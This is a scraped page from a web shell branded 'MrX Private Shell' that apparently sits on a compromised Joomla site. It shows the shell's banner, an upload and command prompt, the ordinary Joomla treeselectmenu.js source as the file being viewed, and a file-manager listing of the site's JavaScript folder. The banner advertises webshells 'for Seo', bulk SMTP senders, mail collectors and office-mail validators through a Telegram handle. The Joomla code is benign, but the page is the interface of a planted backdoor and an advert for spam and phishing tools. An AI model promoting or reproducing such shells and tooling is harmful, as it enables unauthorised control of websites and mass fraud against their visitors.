__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @copyright  (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

const treeselectmenu = document.getElementById('treeselectmenu');
const direction = document.dir !== undefined ? document.dir : document.documentElement.dir;
document.querySelectorAll('.treeselect li').forEach(li => {
  // Add icons
  const icon = document.createElement('span');
  // add tabindex to the span
  icon.setAttribute('tabindex', '0');
  icon.classList.add('icon-');
  li.prepend(icon);
  if (li.querySelector('ul.treeselect-sub')) {
    // Add classes to Expand/Collapse icons
    li.querySelector('span.icon-').classList.add('treeselect-toggle', 'icon-chevron-down');

    // Append drop down menu in nodes
    if (treeselectmenu) {
      li.querySelector('div.treeselect-item label').insertAdjacentHTML('afterend', treeselectmenu.innerHTML);
    }
    const sub = li.querySelector('ul.treeselect-sub');
    const expand = li.querySelector('div.treeselect-menu-expand');
    if (!sub.querySelector('ul.treeselect-sub') && expand) {
      expand.remove();
    }
  }
});

// Takes care of the Expand/Collapse of a node
document.querySelectorAll('span.treeselect-toggle').forEach(toggle => {
  toggle.addEventListener('click', ({
    target
  }) => {
    const chevron = direction === 'rtl' ? 'icon-chevron-left' : 'icon-chevron-right';

    // Take care of parent UL
    const {
      parentNode
    } = target;
    if (parentNode.querySelector('ul.treeselect-sub').classList.contains('hidden')) {
      target.classList.remove(chevron);
      target.classList.add('icon-chevron-down');
      parentNode.querySelectorAll('ul.treeselect-sub').forEach(item => item.classList.remove('hidden'));
      parentNode.querySelectorAll('ul.treeselect-sub i.treeselect-toggle').forEach(item => {
        item.classList.add('icon-chevron-down');
        item.classList.remove(chevron);
      });
    } else {
      target.classList.add(chevron);
      target.classList.remove('icon-chevron-down');
      parentNode.querySelectorAll('ul.treeselect-sub').forEach(item => item.classList.add('hidden'));
      parentNode.querySelectorAll('ul.treeselect-sub i.treeselect-toggle').forEach(item => {
        item.classList.remove('icon-chevron-down');
        item.classList.add(chevron);
      });
    }
  });
  toggle.addEventListener('keypress', event => {
    if (event.key === 'Enter') {
      toggle.click();
    }
  });
});

// Takes care of the filtering
document.getElementById('treeselectfilter').addEventListener('keyup', ({
  target
}) => {
  const noResults = document.getElementById('noresultsfound');
  const text = target.value.toLowerCase();
  let hidden = 0;
  noResults.classList.add('hidden');
  const listItems = document.querySelectorAll('.treeselect li');
  listItems.forEach(item => {
    if (item.innerText.toLowerCase().includes(text)) {
      item.classList.remove('d-none');
    } else {
      item.classList.add('d-none');
      hidden += 1;
    }
  });
  if (hidden === listItems.length) {
    noResults.classList.remove('hidden');
  }
});

// Checks all checkboxes the tree
document.getElementById('treeCheckAll').addEventListener('click', () => {
  document.querySelectorAll('.treeselect input').forEach(input => {
    input.checked = true;
  });
});

// Unchecks all checkboxes the tree
document.getElementById('treeUncheckAll').addEventListener('click', () => {
  document.querySelectorAll('.treeselect input').forEach(input => {
    input.checked = false;
  });
});

// Expands all subtrees
document.getElementById('treeExpandAll').addEventListener('click', () => {
  document.querySelectorAll('ul.treeselect ul.treeselect-sub').forEach(input => input.classList.remove('hidden'));
  document.querySelectorAll('ul.treeselect span.treeselect-toggle').forEach(item => {
    item.classList.remove('icon-chevron-right');
    item.classList.add('icon-chevron-down');
  });
});

// Collapses all subtrees
document.getElementById('treeCollapseAll').addEventListener('click', () => {
  document.querySelectorAll('ul.treeselect ul.treeselect-sub').forEach(input => input.classList.add('hidden'));
  document.querySelectorAll('ul.treeselect span.treeselect-toggle').forEach(item => {
    item.classList.remove('icon-chevron-down');
    item.classList.add('icon-chevron-right');
  });
});

// Take care of children check/uncheck all
document.querySelectorAll('a.checkall').forEach(item => {
  item.addEventListener('click', ({
    target
  }) => {
    target.closest('li').querySelectorAll('ul.treeselect-sub input').forEach(input => {
      input.checked = true;
    });
  });
});
document.querySelectorAll('a.uncheckall').forEach(item => {
  item.addEventListener('click', ({
    target
  }) => {
    target.closest('li').querySelectorAll('ul.treeselect-sub input').forEach(input => {
      input.checked = false;
    });
  });
});

// Take care of children toggle all
document.querySelectorAll('a.expandall').forEach(item => {
  item.addEventListener('click', ({
    target
  }) => {
    const parent = target.closest('ul');
    parent.querySelectorAll('ul.treeselect-sub').forEach(input => input.classList.remove('hidden'));
    parent.querySelectorAll('ul.treeselect-sub .treeselect-toggle').forEach(toggle => {
      toggle.classList.remove('icon-chevron-right');
      toggle.classList.add('icon-chevron-down');
    });
  });
});
document.querySelectorAll('a.collapseall').forEach(item => {
  item.addEventListener('click', ({
    target
  }) => {
    const parent = target.closest('ul');
    parent.querySelectorAll('ul.treeselect-sub').forEach(input => input.classList.add('hidden'));
    parent.querySelectorAll('ul.treeselect-sub .treeselect-toggle').forEach(toggle => {
      toggle.classList.remove('icon-chevron-down');
      toggle.classList.add('icon-chevron-right');
    });
  });
});

Filemanager

Name Type Size Permission Actions
editors Folder 0775
fields Folder 0775
core.js File 25.69 KB 0664
core.min.js File 7.6 KB 0664
core.min.js.gz File 3.16 KB 0664
draggable.js File 5.63 KB 0664
draggable.min.js File 2.54 KB 0664
draggable.min.js.gz File 1.05 KB 0664
highlight.js File 61.61 KB 0664
highlight.min.js File 15.58 KB 0664
highlight.min.js.gz File 5.44 KB 0664
inlinehelp.js File 2.18 KB 0664
inlinehelp.min.js File 805 B 0664
inlinehelp.min.js.gz File 486 B 0664
joomla-core-loader.js File 4.91 KB 0664
joomla-core-loader.min.js File 4.02 KB 0664
joomla-core-loader.min.js.gz File 1.66 KB 0664
joomla-dialog-autocreate.js File 2.9 KB 0664
joomla-dialog-autocreate.min.js File 1.22 KB 0664
joomla-dialog-autocreate.min.js.gz File 664 B 0664
joomla-dialog.js File 18.34 KB 0664
joomla-dialog.min.js File 8.53 KB 0664
joomla-dialog.min.js.gz File 2.49 KB 0664
joomla-hidden-mail.js File 2.26 KB 0664
joomla-hidden-mail.min.js File 1.53 KB 0664
joomla-hidden-mail.min.js.gz File 721 B 0664
joomla-toolbar-button.js File 3.5 KB 0664
joomla-toolbar-button.min.js File 2.08 KB 0664
joomla-toolbar-button.min.js.gz File 868 B 0664
keepalive.js File 1 KB 0664
keepalive.min.js File 741 B 0664
keepalive.min.js.gz File 430 B 0664
list-view.js File 2.75 KB 0664
list-view.min.js File 1.59 KB 0664
list-view.min.js.gz File 555 B 0664
messages.js File 10.19 KB 0664
messages.min.js File 5.41 KB 0664
messages.min.js.gz File 1.77 KB 0664
modal-content-select.js File 1.14 KB 0664
modal-content-select.min.js File 781 B 0664
modal-content-select.min.js.gz File 497 B 0664
multiselect.js File 3.68 KB 0664
multiselect.min.js File 1.86 KB 0664
multiselect.min.js.gz File 917 B 0664
searchtools.js File 18.1 KB 0664
searchtools.min.js File 10.4 KB 0664
searchtools.min.js.gz File 2.56 KB 0664
showon.js File 9.91 KB 0664
showon.min.js File 3.55 KB 0664
showon.min.js.gz File 1.39 KB 0664
table-columns.js File 5.96 KB 0664
table-columns.min.js File 3.39 KB 0664
table-columns.min.js.gz File 1.28 KB 0664
treeselectmenu.js File 5.74 KB 0664
treeselectmenu.min.js File 4.07 KB 0664
treeselectmenu.min.js.gz File 976 B 0664
Filemanager